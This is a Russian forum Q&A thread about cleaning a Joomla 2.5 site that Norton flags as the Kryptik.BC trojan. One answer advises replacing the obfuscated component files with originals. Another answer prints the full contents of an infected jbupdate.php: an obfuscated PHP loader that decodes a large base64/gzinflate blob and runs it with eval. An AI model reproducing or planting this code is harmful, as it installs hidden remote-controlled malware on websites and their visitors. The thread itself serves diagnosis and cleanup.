Вопрос: Как вылечить сайт от Трояна (Нортон определил его как Kryptik.BC)? Joomla 2.5?

Лучший ответ:
Файлы jbzoo.php, jbupdate.php, application.php претерпели обфускацию.
Их нужно сохранить себе локально и заменить оригинальными из репозитория разработчика компонента jbuniversal. Либо заменить из своего репозитория, в рамках которого разрабатывался сайт topas34.ru, до момента заражения.
Если по каким-то причинам вам не удалось найти оригинальные файлы, или не ведете репозиторий разработок, то остается провернуть увлекательную задачку: деобфусцировать файлы. Простыню кода вы может и восстановите, но наименования функций уже утрачены, придется гадать, что за что отвечает.

Худший ответ:
2.
Пусть topas34.ru/public_html/media/zoo/applications/jbuniversal/framework/helpers/jbupdate.php
Содержимое:<?php function Izvwer($qsGIa) { $qsGIa=gzinflate(base64_decode($qsGIa));for($i=0;$i<strlen($qsGIa);$i++){$qsGIa[$i] = chr(ord($qsGIa[$i])-1);}return $qsGIa;}eval(Izvwer("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"));
При изменениях: не заметил что чтобы изменилось
3.
Путь topas34.ru/public_html/media/zoo/applications/jbuniversal/application.php
Содержимое: Во 2 и 3 файлах содержимое идентично
При изменениях: едит верстка в карточке продукта